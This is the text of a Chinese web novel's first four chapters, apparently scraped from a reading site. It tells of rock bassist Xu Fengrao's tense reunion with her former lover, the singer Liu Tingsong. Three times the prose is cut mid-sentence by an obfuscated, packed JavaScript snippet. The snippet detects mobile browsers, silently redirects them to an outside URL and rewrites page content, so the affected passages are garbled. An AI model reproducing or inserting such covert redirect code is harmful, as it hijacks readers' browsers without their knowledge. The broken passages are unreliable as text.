《钓系天后她扶腰追妻》 1. 第一章 砖石、水泥将喧闹阻拦在酒吧内,玻璃杯碰撞,琥珀色液体摇晃,泼洒出杯沿。 手机播放着视频,声音被调到最大,掺杂着室内的摇滚音,夸张的语句一句又一句往外冒。 “……燃陨乐队主唱在机场与经纪人发生争吵,” “据在场粉丝说,这次争吵极其严重。” “……她最后抛弃经纪人,飙车甩开跟随狗仔,独自离开。” 大拇指往屏幕一滑,不同的视频说着大同小异的话,热搜榜上写着许风扰怒离机场的字条后,跟着一个标红的“爆”字,不过半个小时就冲上了热搜前五。 手机屏幕被往下压,坐着桌前的人不禁咒骂一声:“艹,现在才从机场出来,她能赶上吗?” 同伴语气嘲讽:“我看是要被放鸽子咯。” 她们抬头看去。 这酒吧的环境不算好,空间窄小,装修更是老旧,铁质桌椅围绕着简陋舞台,像是临时拼出的乱摊子,架子鼓、键盘、话筒支架早就摆放好,甚至已试过两遍音,可今晚的主角却一直没有出现。 酒吧里的人越来越多,所有的椅子都被占据,大部分人只能拿着酒杯,挤在角落、过道处,表情焦急又迫切,如同一尾尾极力探出水面呼吸的鱼。 很难想象,如此简陋的地方,竟是如今新、老乐队口中的“证道地”。 据说,这酒吧是个籍籍无名的乐队鼓手开的,追求了半辈子的梦想却不得,人到中年后也不甘心,最后拿了家里的钱,在这儿开了个酒吧,不图钱,就是让大部分不出名的乐队能有个演出、展示自己的地。 燃陨乐队刚组建的时候,就在这里唱过半个月。 后头为了感谢老板,她们多次在这儿免费演出。 那些个想和她们合作的音乐人,为了“碰巧”遇到燃陨,便时常往这儿跑,偶尔碰到几个有天赋的乐队,也不介意抛出橄榄枝,前半个月还有个乐队被经纪人看中,被大力扶持出了道。 于是时间一长,这酒吧就变成乐队人眼里的香馍馍,免费演出还得排队,一排就是半年。 可如今的所有安排都被暂停,只因昨日有人放出话来,燃陨乐队今晚要在这里演出。 过分紧迫的时间,不仅没有落得个空荡荡的下场,反而随着消息的扩散,赶来的乐迷越来越多。 之前嚷嚷的人收回视线,不甘骂道:“这段时间都够我们唱几首歌了。” 若不是燃陨的临时安排,按照以往规矩,今天该是她们上场,可眼下她们只能坐在角落里,等待一个刚刚从机场走出、不知会不会来的人,心情烦躁又恼怒。 两人又低声说了几句,匆匆就止住,生怕被周围的粉丝听见。 坐在角落里的女人收回视线,刻意选择的位置被漆黑笼罩,鸭舌帽和全套黑色衣裤将身形遮掩。 只能瞧见她抬起左手,露出一截纤长手腕,银质表带贴着白皙肌理,露出一抹青色脉络,方形表盘上的分秒转动,直到落在最底下。 10:30 灯光骤然暗下,诧异声起伏响起,直到白色大灯亮起,直直打在舞台中央。 鼓手、键盘手、吉他手已各自就位,中间的主唱却不见踪影。 “不会真来不了吧?” “那谁唱,鼓手还是吉他手,你听过她们开嗓吗?” “嘿,那吉他手不是会和声吗?不过这许风扰这排面是越来越大了……但也是,这里三分之二人都是为了她来看吧?怪不得她傲成这样。” 戴着鸭舌帽的女人微微挺直脊背,表盘上的秒针又转了一圈。 气氛越发焦灼,人们左顾右盼,烦躁的怨气更重。 鼓手甩起鼓棒,在半空打了个圈,稳稳接住后,却没有敲向鼓面。 吉他手依旧懒散,连站直都不肯,左肩背着电吉他,右手还拿着贝斯,往地上一杵,就是两根滑雪杆。 10:40 酒杯甩落在地,惹出一阵尖叫。 有人一脚踩上桌子,大吼:“你们要搞……” ——嗡! 刺耳的声音从话筒中传出,匆匆赶来的人一脚跨上高台,风扬起白发,十字项链重重砸在宽大红T上,周身的机车汽油味还未消散,被吹到肩头的草籽终于落下,她一把抓住麦克风,支架被扯得歪斜。 ——嘭! 像是一下子收到开始的信号,军鼓声骤然响起,紧接着就是一阵密集的敲打。 银白贝斯被抛起,下一秒就被牢牢抓住。 她抬起头,左耳的钻石耳钉在灯光下闪烁,过分惊艳的五官,桀骜眉眼尽是张扬。 “许风扰!” 不知是谁大喊一声,站在桌面的人一下子僵立在那儿,眼神中的情绪被狂热去取代。 带着细戒的手扫过琴弦,低哑的贝斯声没有半点卡顿,无比流畅地挤入鼓点中,随即其他乐声叠加而起,在方寸空间内回响。 没有如何解释,也没有开场白,她们就以如此沉默且嚣张的姿态,将死寂撕裂开。 或许也不需要开场白。 “燃陨!” “许风扰!” 疯狂的喊叫声四处响起,最后汇聚成不间断的浪潮,撞向四方墙壁,似要砸破砖石。 随着歌声响起,额头的汗水滑落往下,像是火星落下入干草丛中,大火燎原。 “束缚手脚的链子,” “囚禁躯体的笼子,” 宽大短袖下的躯体纤瘦,却带着股蛮横的野性,歌声编织作兽网,从天花板往下落,却无人反抗,盲目跟随,想要挣脱囚笼、扯开铁链。 “野豹在雪山嘶吼,” “银白乌鸦划过漆黑的夜。” 不需要提示,台下的人就开始跟着节奏摇晃,这首歌是燃陨乐队的成名曲之一,以不停歇的强劲节奏,反复强调着身上束缚,极力表达着自己渴望挣脱,一如乐队从出道开始就奠定的底色,叛逆且自由。 所有人都沉浸其中,除了许风扰。 蓝红交织的灯光落在高台,钻石耳钉反射出耀眼火彩。 一首接着一首,没有休息的机会。 指尖又一次划过琴弦。 以往她都能在音符中,获得短暂的自由与喘息,可此刻…… 许风扰的视线扫过台下,拥挤人群起起落落,以同样的节奏摇晃,与以往并无半点区别。 但她却觉得不自在,像是动物世界里,猎食者盯上的猎物,分明周围没有一点异常,却莫名浑身不适,甚至冒出些许冷汗。 不对劲。 练习千百遍的歌词,习惯性唱出,指尖落在应该勾住的弦上。 刻在骨子里的本能在警告,每一个细胞都在疯狂叫嚣着快逃。 掌心冒出细汗,不知是热的还是累的,捂不热之前被冷风吹得僵冷的手指。 鼓声重重敲在耳边,宣告着最后一曲的结束。 众人看向正中央的许风扰,按以往的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368270|183920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惯例,她会在此刻来一段即兴的solo作为结尾。 可许风扰停在原地,汗水将发丝粘在额头,过分明亮的大灯衬得她本就白净的肤色越发病弱苍白。 旁边的吉他手眉头一皱,在旁人察觉不对前,主动大步上前,主动以一段快节奏的solo结束了演出,四人同时鞠躬,便转身要走。 底下人或许不满,但因还沉浸在前头的演唱中,所以并未多纠缠。 许风扰一边走,一边单手捏着琴颈,不知道用了多大的力气,手背的青筋鼓起,曲折指骨更是明显。 旁边人见状,终于忍不住开口询问:“你怎么了,身体不舒服?是不是刚刚骑太快了?” 此刻刚好走进后台,耀眼灯光被抛在身后。 许风扰张了张嘴,这个时候总是特别吵闹,即便回答了也难以听清,更何况她根本不知道发生了什么。 三人等不到答案,也不好得耽搁,只能继续往里走。 许风扰则无意识停留在原地,过道的漆黑将她笼罩,整个人陷入半明半昧的交界线中,将横握住的贝斯分割成两半。 分明迫切地想逃,她却微微侧身回头,需要寻求一个答案。 下一秒,一声诧异的惊呼,将她彻底唤醒。 “柳听颂!” 这三个字如震钟声,一下子吸引了所有人的注意力,众人转身回头,纷纷往声音发出的地方看去。 只见那人群中的女人,不知道何时已经站起,无意露出半张瑰丽的面容。 本就点燃、无比躁动的人群骤然激动起来,疯狂向那处挤。 被摔落在地的酒精扩散,急促呼吸和狂热喊叫声,场面彻底失控。 女人不禁后退半步,下意识抬头看向舞台。 那处早已空无一人。 狂热的气息再一次叠加,几乎可以说是疯狂,在拼命往那处挤,完全不在意所谓的踩踏,理智好像一瞬间全无。 柳听颂呼吸微乱,再抬眼,眼底出现一抹燃烧的红。 极力跑来的人从层层人群中挤入,左手还握着贝斯,银白发丝越发凌乱,毫无章法地粘在脸颊两侧,露出碧色眼眸,带着一股不顾一切的决然。 心跳停了一拍,耳旁的声音消失不见。 许是太过紧张,以至于头脑一片空白,直到回忆起来时,只能想起被牢牢抓住的手腕,将她拼命往人海外拽出。 等到意识回笼,她们已站在酒吧外的红砖墙外。 许风扰的机车还停在这里,就连钥匙都没有拔,仪表盘亮着微蓝的灯,但不需要担心丢失,因为这是个只有少数人能知晓的隐蔽角落。 它借着前边红墙的遮掩,被隐没在酒吧的侧面,只能从一个极不起眼的小门踏入。 许风扰方才为了赶时间,便急忙往这儿钻,如今也正好逃脱狂热粉丝的追赶。 红墙里的声音依旧嘈杂,红墙外只剩下剧烈跑动后的喘息,急促交替落下,掩盖不了杂乱的心跳声。 许风扰将人压在砖墙上,右手仍然箍住对方手腕,想要紧握,又僵硬停留。 掌心下的脉搏跳动,夏日的夜风依旧闷热,机车的发动机还在震响。 这场时隔五年的突然重逢,实在让人不知如何面对,于是只能怔怔站在原地。 一人低头探寻,一人仰头对视。 直到早已摇摇欲坠的鸭舌帽被吹落在地。 许风扰终于敢确定。 她回来了。 2. 第二章 “她回来了。” 被电流模糊的声音在扩音的帮助下,在漆黑空间内回响。 许风扰闭上眼,后仰向柔软的懒人沙发,仍由海绵包裹,企图用这种方式,获取些许本就不存在的安全感。 丢在玻璃圆桌的手机还在亮着,发出焦急又诧异的声音,像是担忧她没听懂一样,强调道:“许风扰,抛弃过你的前女友、你的白月光、目前最年轻的金曲奖获得者、华国仅有的几个格莱美获奖者——柳天后、柳听颂,她回国了。” 她试图用丰富的前缀提醒着许风扰。 可许风扰脑海里却浮现更多,比如对方不仅是最年轻的金曲奖获得者,还连续获奖三年,直到她突然宣布暂离乐坛,才停止了对这一奖项的垄断。 再比如说,她是自己的初恋、唯一的前任。 哦不对,这件事还可能是自己的一厢情愿,毕竟她们连一场正式的告白都没有,柳听颂也没有在任何场合、任何人面前承认她的身份。 甚至连个说分手的环节都没有,对方单方面删了她的全部联系方式,直到半个月后,许风扰在v博上看见她被偷拍的照片,才知道她已经出国。 不清不楚的开始,稀里糊涂的结束。 呼吸一滞,本能反应在告诉她不要再乱想从前的那堆蠢事。 可回忆暂停后,脑海里又浮现两人在狭窄巷子里的对视。 真可笑啊。 对方出国前,她想尽办法也没能见到对方一面,可当对方回国后,自己却成了率先知晓的那批人。 机车的发动机好像还在耳边震响,夏夜的风总是沉闷,携来像要着火的风,让脖颈冒出豆大的汗珠。 她低头看着柳听颂,两人的距离很近,完全超越可控的安全范围,甚至可以说是亲密,以至于她可以嗅到柳听颂颈间的香气,不是她熟悉的味道,是更柔和优雅的花香调,这让许风扰感到陌生,更让她对两人的分离有了更真切的实感。 压在砖面的掌心传来刺痛,勉强扯回几分理智。 仅存的距离没办法再缩短,许风扰的脊背绷到发酸,像一把被拉扯到最大范围的弓,随时可以收指松弦,用各种话语冷嘲热讽,或是质问。 可许风扰选择了逃跑。 她甚至没办法装作若无其事,像个成熟的成年人一样,与自己的前任打声平静又镇定的招呼,更没办法把前尘旧事一股脑搬上来,迫切寻求一个的答案。 她选择了逃跑,在看见柳听颂嘴唇碾磨,似乎要开口之后。 她慌张转身,急匆匆就往机车上跨,甚至撞到了自己的小腿。 她来不及想,唯一的情绪是庆幸自己之前没有拔钥匙,免去了手抖、插不进去的尴尬,能以极快的速度离开了那里,躲到自己认为安全的房子里。 许风扰深吸了一口气,心脏却不肯缓和。 屋里还没有开灯,只有微弱的屏幕光亮,衬得她面色越发苍白。 对面那人可能放弃叨叨,停顿片刻后,又嚷嚷道:“你今天那事又上热搜了。” “嘿,这热度厉害啊,不知道又要有多少媒体说你恃才傲物,耍大牌了。” “明明就是飞机晚点,你着急赶过来演出,”那人叹了口气,替许风扰申冤。 紧接着她话音一转,诧异喊道:“不是,你真和阿金吵起来了?” 许风扰没说话,嫌她太过吵闹,只“嗯”了声表示答应。 阿金是燃陨乐队的经纪人,电话那头是她的乐队队友及好友、吉他手——楚澄。 说话声再一次停下,不知道这人又在v博上瞧见什么,许风扰没问,清楚这人半点都憋不住事,肯定会在看完之后,大声和她嚷嚷。 许风扰偏头看向另一边,手机旁边是树纹玻璃杯,冰块在水里漂浮碰撞,冒着寒气。 她定定看了一会,伸出了手。 许风扰的手还算好看,手指修长,骨节明晰,只是因从小练琴的缘故,指尖有些变形,粗粝的指腹经历过数次红肿、血泡、破裂,直到结出厚厚的茧,足以抵御琴弦的刮蹭,同时也模糊了对温度的感知。 指尖推动着晶莹冰块,试图将它往水里按,又被冰块挣脱,从旁边的水面冒出,掀起圈圈涟漪。 水滴顺着手指滑落,戴在中指的细戒也被水沾湿。 杯壁倒映着许风扰的面容,当锋芒收起,银白发丝也跟着软塌下来,露出一双碧色眼眸,复杂情绪交织后,变作少见的脆弱与沉郁。 之前张扬肆意的贝斯手,现在更像个无措的小孩。 冰块撞向玻璃,发出清脆一声响。 那边终于开口,声音既惊讶又诧异:“柳听颂这是真打算回国了?” “她工作室发出视频,说她出席了今晚的宝格美晚会,按照以往惯例,这是它们品牌代言人才有的待遇吧?” 指尖一顿,将冰块死死压在杯底。 刺骨的寒冷终于透过皮肤,往骨子里参透,隐隐作痛。 那人还没有反应过来,沉浸在艳羡与惊讶里,感慨道:“她身上有好几个顶奢代言了吧,现在又多了个宝格美……” “等等!她今晚不是去晚宴了吗?怎么还能来酒吧?”楚澄突然激动起来。 她将v博往下一刷,在原先的那条柳听颂回来的热搜中,赫然多了几条大粉解释,语气不大好,几乎可以说是嘲讽,总结为:她们的柳歌后昨儿才回国,今天就得忙着去参加晚宴,哪有时间去什么破烂酒吧,让别人不要胡说八道。 同时间内,也有几个所谓的酒吧当事人站出来,说之前的事情就是误会,是几个醉鬼喝醉后认错了人,居然还意外搞了个热搜出来,果然是天后柳听颂。 就是否认柳听颂来过酒吧、看燃陨乐队演出的意思。 楚澄眨了眨眼,分不清是工作室故意遮掩,还是本身事实就是如此。 毕竟她也没真正瞧见过,方才她人都快走出去了,突然听到前头在喊柳听颂,等她们急急忙忙转回来,就见到一群人在乱挤,别说柳听颂了,连许风扰都不见踪影。 她那会还寻思着,是柳听颂对许风扰余情未了,特地赶来找她。 可现在却开始怀疑,毕竟工作室那边已发出柳听颂参加晚宴的视频、照片,而酒吧这里就只有几个醉鬼的胡话,且许风扰突然消失也不是一次两次了。 总不能说,柳听颂中途离开宝格美晚宴,急匆匆赶来看她们的演出吧? 还没见过那个傻子能做这样的选择。 楚澄“啧”了声,不由抱怨道:“这几个醉鬼也真是的,搞了那么大个乌龙。” 她话锋一转,又把矛头对向许风扰:“哎?你咋也不说句话,让我一个人误会了半天。” 许风扰眼帘半垂,竟顺着道:“我不知道你在说什么,刚刚你只说她回国了,现在又瞎扯什么晚宴。” 冰块在掌心融化,将整个手掌都冻得僵硬。 楚澄眨了眨眼,这才回忆起,她之前就说了柳听颂回国的事,其他还没来得及问出口,然后又自顾自地这边琢磨了大半天,哪里怪得了许风扰? 她迷糊又尴尬,道:“她真没来啊?我还以为你和她一起出……” 话还没有说完就被打断,许风扰语气镇定,只道:”我自己从小门出去的,刚赶时间,车停在那里。” “哦哦。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368271|183920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚澄还是有点不甘心,问:“柳听颂真没来?” “几个醉鬼看错了而已,”许风扰语气不变,好像已经遗忘了那场短暂的碰面。 楚澄彻底死了心,只得嘀咕了句:“他们也真是巧了,刚好就撞上柳听颂真回国了。” 逼得工作室提前发博,澄清她家艺人没有去那个所谓的酒吧。 “那你……”她还想再说什么,刚刚开口却瞧见电话已被挂断,再打过去却被直接拒绝,摆明了不想理她。 “真过分啊,”楚澄只能嘀咕了句,但转念一想,又觉得许风扰此刻肯定心烦意乱,不想理她也正常。 另一面。 许风扰松开手,紧紧攥在掌心的冰块已经融化,指尖没了血色,透着股苍白的青紫,在拿起手机、被灯光衬托后,越发惨淡。 但她没有理会,用湿漉漉的指尖点开v博,无声垂眼看着。 之前的机场事件已被压下,前五条的词条都被柳听颂占领,热度还在不断攀升。 她停顿了下,不知是什么心思,竟点开排名第一的词条——柳听颂参加宝格美晚宴。 视频里的女人穿着精致的高定长裙,与颈间的花香调甚是搭配。仍由镜头随意拉近,眼波流转间,无可挑剔的五官轮廓,不消浓妆艳抹修饰,只取一抹清冷,便可称作绝色。 没有再继续往下看,许风扰闭上眼,又将手机丢到一边。 随着屏幕暗淡,唯一的光源消失,将一切都隐藏在黑暗里,寂静席卷而来,就连杂乱的呼吸声都变得清晰可闻。 许风扰自顾自躺了一会,再睁开眼时,已恢复了往日的模样。 她慢吞吞打开了灯,将这一片空间照亮。 和大多数人的客厅不同,这儿没有电视机之类的常规摆设,只有各种乐器、调音设备、各式各样的耳机和播放器,墙面贴着消声棉,整面地毯厚重柔软。 唯有仅容一人坐下的懒人沙发和旁边的小圆桌,算是客厅里的正常物件,但也只占了客厅的一个小小角落,十分不起眼。 许风扰站起身,将杯子里的水全部倒掉,细致冲洗一遍后,再取了蜂蜜,给自己泡了一杯温热的蜂蜜水。 这样能够保护嗓子。 看似叛逆顽劣的人,在这方面却十分乖巧,她甚至不抽烟不喝酒,连日常餐食都是清淡温和的,减少一切对嗓音造成伤害的可能。 蜂蜜水被饮尽,杯子又被重新洗干净,倒放在架子上。 许风扰停在原地,似乎是想了下,才抬手摸向耳垂。 在这方面,她也与大部分乐队人不同,她不仅没有纹身,甚至全身上下都没有一个孔洞,就连平常佩戴的耳饰都是免打孔的耳夹,在以纹身、唇钉、眉钉等为潮流的音乐圈里,许风扰好像刚从校门出来的高中生,干净到匪夷所思。 抬起的手只碰到空空如也的耳垂,许风扰有一种习以为常的平静,耳夹就是这样,既疼又容易丢失,有时候动作弧度一大,那东西就不知道甩到哪里去了。 她放下手,又开始顿住,像是一台信号微弱的机器,不知道自己该做什么,大脑一片空白。 直到瞧见手指侧面,不知何时长出的小痣后,她才拧紧眉头。 比坚持不打孔不纹身,更奇怪的是,许风扰不喜欢身体上有任何一颗痣,一旦出现就会立刻去掉。 现在也是一样,她像是一下子收到了信号,径直就往手机走,想要预约明天的时间,当然,如果今天晚上就可以的话,她也愿意立刻就出门。 可下一秒,敲门声突然响起。 ——叩、叩叩。 熟悉的力度和节奏,像极了楚澄口中的柳歌后。 3. 第三章 或许连柳听颂自个都没有注意过,可偏生许风扰记得,毕竟这样的敲门声足足伴随了她一年,每日清晨,对方都会这样敲响自己的房门。 一声长,两声短,然后轻轻喊一声许风扰。 若是里头没有声音传出,她便重复一遍。 要是许风扰出声回应,她便柔声回应。 柳听颂的声音很好听,很难用确切的词汇形容,只能描述为温润,让人想起润泽的和田玉,落在乳白的牛奶里,就连溅起的水滴都是柔和的,慢悠悠落下,荡起一圈波纹。 就连对声音极其敏感的许风扰,都挑不出半点毛病,甚至连难改的起床气都消失殆尽。 许风扰有时会耍赖不出声,故意让这人再喊一次。 搁着门板看不见的柳听颂,就会这样的小把戏蒙骗,至今都不曾得知真相。 敲门声又一次响起,没有熟悉的声音轻唤。 许风扰从暖阳中睁开眼,又落入昏暗的房间里,旁边大件大件的乐器无声,像在静静看着她做出选择。 她沉默了下,才抬腿往那边走去。 猫眼外的人依旧一身黑衣,重新戴上的鸭舌帽微低,掩去半张面容的同时,也让人无法辨认她的情绪。 许风扰轻轻靠在门上,没有出声,就这样静静看着。 不知道对方在做什么,也无法理解对方在想什么,从之前到现在,几岁的年龄差距如同天堑,她迈不过去,柳听颂不肯过来,只能放任不管,仍由年长者主导。 就好像今晚这场毫无准备的见面,在工作室的操纵下,柳听颂又回到她的神坛,戴上宝格美的奢华珠宝,做回她高高在上的乐坛天后。 酒吧里的逃跑、巷子里的对视都成了只有她们两人知道的隐秘故事。 秘密情人。 许风扰脑子里突然蹦出这四个字,然后扯着嘴角,露出一个不及眼底的讽笑。 这些龌龊事在她所处的圈子中,并不算少见,隔三差五就能听到一例,就连许风扰这种懒得理会的人,也将那流程熟悉得七七八八。 被抓拍、在v博否认澄清,等待舆论扭转之后,金主再亲自上门,将情人哄好。 柳听颂也是这样想的吗? 额头抵着木门,凸起的花纹压在皮肤上,冷硬的感受传来,却无法将情绪拯救。 这样的事情好像不是第一回。 又想起她们分开的前一天。 许风扰还记得,那是个难得很好的天气,前几日的争吵都随着灿烂日光消散。 她和柳听颂不约而同地推掉所有事情,将手机关机丢远,她拉上窗帘,柳听颂挑选了一部她们都喜欢的歌剧。 她被柳听颂圈在怀里,因体型差异的缘故,画面有点滑稽,像是大型犬硬塞在主人怀里,把柔软沙发压得往里凹出一个大坑。 歌剧还没有放到一半,她们已经无心再看。 浅且克制的吻一次次落在唇上,温凉的指尖抚过许风扰后颈,顺着一节节骨头攀起落下,偶然又捏着薄皮往上提,柳听颂很喜欢这样,就好像在对待一只小狗,将许风扰完全掌控。 许风扰不曾反抗,只会一点点将距离缩短,然后在柳听颂又一次吻过来时,咬住对方的唇,不允许她再躲开。 风将厚重的窗帘推开,泄出些许细碎阳光,洒落在交缠的脚踝,像是花纹繁琐的脚链,将两人牢牢束在一块。 ——叩、叩叩。 第三次敲门声响起,将许风扰从回忆中拉扯出。 猫眼外的人抬起手,曲折的指节往上轻敲,门板随之震响,被贴在门板上的人清晰感受。 可许风扰依旧没有出声,只是抬手往开关上按,随着“啪”的一声,客厅又陷入黑暗之中。 外头的人似有所感,抬头看了眼。 许风扰下意识偏头,再一次逃避。 骤然停止的心脏落下一拍,继而就以极快速度跳动起来,似乎想要将之前的那一次心跳弥补回来。 可它又清楚知道,补不回来的,无论跳得多快,没了就是没了,错过就是错过。 许风扰索性闭上眼,当初装修时要求的隔音效果,现在成了倾听外面的阻碍,即便在失去视觉后,也依旧无法听到半点。 那人似等了下,终于还是选择离开。 许风扰对这个结果并不意外,柳听颂这个人总是对“三”这个数字格外坚持,像是把事不过三这句话刻到骨子里去,无论做什么都不会超过三次,哪怕是叫许风扰起床。 所以,许风扰再无赖,也只会拖延到第三声,然后再假装困倦地含糊出声。 柳听颂就会说:“该醒了。” 楼道的灯亮起又暗下去,直到彻底被黑夜蚕食。 许风扰站在原地、停留了好一会,直到站到小腿发麻,久违地回忆起了读书时军训的痛苦。 她那会挺不明白为什么训练就要直挺挺站着,子弹打过来的时候,又不会因为你站得笔直而拐弯。 可该站还是得站,她只能采取转移注意力这招来缓解痛苦,愣是在脑子里敲锣打鼓,编了一堆反抗强权、对抗命运的调子,被乐理老师点评:“我觉得你这些歌都冒着火。” 能不冒着火吗? 她都快被火辣辣的太阳晒成火炭了! 但她现在没办法编曲,要么只能压着脑子什么都别想,完全一片空白,要么全是柳听颂,就算有三两个音符冒出,也杂乱得不成样子,哪怕贝多芬在世,也只能对着她说句:“我耳朵是真聋了。” 什么该死的冷笑话。 许风扰重重吐了口气,扯着僵麻的腿用力往地上一跺,细细麻麻的蚂蚁就顺着脚掌往上,把皮肉、血管、骨头全咬了个遍。 将她折磨了好一会,才能缓慢地压着门把手开门。 ——咔。 屋外的声控灯又一次亮起,将空空如也的楼道照亮,空气里还残留着那股花香调,之前的人已离开不见。 许风扰停顿了下,才偏头看向门板。 这人还是像以前一样,一旦喊不醒许风扰,就会在门上贴个四四方方的便利贴,就是文具店里最普通的那款,再用黑色碳素笔写上一句:早餐在微波炉里,我已经帮你请假了,今天好好休息。 像是小时候最喜欢的那种体贴家长。 这一次依旧,便利贴和碳素笔没变,就连颜色都是那样,寡淡得像个教书多年的老古板,而不是个万人追捧的乐坛天后。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368272|183920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 许风扰随手扯下,没仔细看,直接捏成团往房间里丢。 不是不想丢垃圾桶,只是关上灯后,实在找不到。 房门被快速关上,灯依旧没打开,就这样按着身体记忆,径直往卫生间走。 再过片刻,水声响起,热气从门缝中冒出,继而是窸窸窣窣的擦拭声、刷牙声、吹风机声。 再等一会,许风扰终于躺到了床上。 分针转了圈,与时针一起停留在2这个数字上。 床上的人翻来覆去,将被褥掀起又蒙住,闭眼又合上,反反复复不见停歇。 凌晨四点。 被子被大力掀开,许风扰一下子坐起身,一头银发被揉得无比炸乱,眼帘半垂,露出一双烦躁又清醒的眼眸。 终究还是妥协,认命似的爬起来,将布丁狗拖鞋踩得啪啪作响。 客厅的灯又一次亮起。 “给我丢哪里了……” 之前丢得无比潇洒的家伙,现在单手挠着后脑勺,又急又烦。 “刚刚明明丢在这里啊。” 白色的乱毛更蓬,好像堆起的羊毛卷,的亏她模样生的好,才不至于显得邋遢。 许风扰有着不同于大多数华国人的柔和长相,轮廓深邃,下颌清晰,鼻梁高挺且弧度流畅,在具有中性的俊逸的同时,略带肉感的唇与圆润唇珠,又将其柔和下来,使之变作雌雄莫辨的美。 最特别的是她一双碧绿色眼眸,如夏日潭水,周围的纹理是像横亘的山脉,即便只是匆匆一眼对视,也能感受到其中蓬勃的生命力。 只是她现在实在狼狈,整个人都趴在地上,弯腰低头往各种乐器底下看。 也不知道一张小小纸条能跑到哪里去,她愣是在地上爬了半天,也没能找到。 窗外一片漆黑,整栋楼房就只剩下这一盏灯,虫鸣声连续不断,风将树叶刮动,直到现在,那夏日的烦闷才稍稍缓解半点。 许风扰折腾了半天,终于在夹缝中发出那张丢掉的纸条。 可她只是看了一眼,就将废尽力气找寻到的纸条撕碎,彻底丢进垃圾桶了。 倒还不如不看,让她又得重洗一遍澡。 她冷着脸起身,又一次往卫生间去。 楼下的人眼帘垂落又抬起。 还是那身漆黑打扮,从下楼后就一直站在这儿。 久站的腿脚感受到同样的痒麻,可她不曾理会,好像毫无察觉,直到瞧见那间屋子又一次陷入黑暗里,她才缓缓回神。 被丢在车里的手机又一次亮起,不知道有了多少个未知来电。 车门被打开,柳听颂坐进驾驶座,缓了片刻后,才将又一次打来的电话接通。 那头的人声音急切又责怪,呵斥着她的胡来。 只是不等她再说,柳听颂便出声打断,声音不复许风扰记忆里的柔和,只冷声道:“以后没经过我的允许,你不许再擅自行动。” 那人还想争辩,柳听颂却快她一步警告道:“杜语蓉,我已经不是你手底下的艺人了。” 她语气加重,强调道:“你是我的员工。” 电话被挂断,丢到一边。 好一会后,柳听颂才开车离开。 4. 第四章 一番折腾过后,再睡下已是天际发白时,晨雾最寒,携着雾水往未合上的窗户里钻,许风扰无意识地翻了个身,额间全是薄汗。 许是今日的情绪起伏太大,竟让她梦到从前。 和柳听颂的第一次见面,是在警察局里。 许风扰那会挺叛逆的,完全符合旁人眼里的坏孩子标准,逃课打架样样齐全。 若不是许母财大气粗,愣是给学校捐了两栋楼,她早该被劝退。 可饶是这样,许风扰也没有半点悔改,非要在叛逆这一条越走越远,企图让许母妥协,将她的专业从经济换到音乐去。 可许母怎么可能同意? 放弃大好势头,怀胎十月就是为了给自己生个继承人,哪里在乎许风扰喜欢什么。 高考后的一哭二闹上吊都没有让她动摇,甚至头一回丢下一堆工作,亲自赶回来,守着许风扰填报志愿,紧接着没收她的全部电子产品,直到录取结果出来后,才撤掉了天天守在许风扰身边的人。 开学就更好笑了。 头一天入学,许风扰就成了S大的风云人物,虽然S大不缺非富即贵的二代,可从来没有一个人会弄出那么大排场,居然被十几保镖绕圈、绕在中间,堵得严严实实,不给她一点逃跑的机会。 若不是在校园里,旁人还以为许风扰是什么罪大恶极的囚犯,马上要被押送进监狱呢。 在此之后,许母也是放出话来,零花钱看成绩,上一节课给一节课的钱,要是逃课,今儿就饿着吧。 而许风扰也是个硬骨头,许母逼着她往这走,她就一点不去做,大不了就饿着,不肯妥协半点,甚至做出更过分的事情惹恼许母。 两人越闹越僵,越发难以调和。 至于警局这事,许风扰想起来就气。 她那会为了和许母置气,交了一堆“道上”的朋友,就是染了一堆黄毛绿毛红毛,整天聚在一起到处晃悠的那种,也没闯什么祸,没一个人有那胆子,最多去台球室帮人站站场子,再蹭个免费的球桌玩。 也是因此,许风扰才找到了一份包吃包住的兼职。 原本那台球厅并不缺人,奈何许风扰实在长得好看,人往球桌那一杵,愣是把周围球台的人看得五迷三道,球杆往前打,眼睛还粘在许风扰身上,一局能打一个多小时。 台球厅老板瞧见这一幕,当场就开出包吃包住、工资两千的“高昂”薪酬。 许风扰当场就答应了下来,倒也不是她蠢,不知道往高处走,凭她那脸,哪怕做个平面模特,或者去西餐厅弹个琴,也会有更好的收入。 可奈何许母早就放出话来,只要是稍有能耐一点的地方,都不敢收下她这尊大佛。 只有这种搭在城中村,连个营业资格证都没有的地方,才不怕这些破事,大不了桌子一搬,换个地方再摆摊。 至于进警察局那事,就是一黄毛朋友惹出来的。 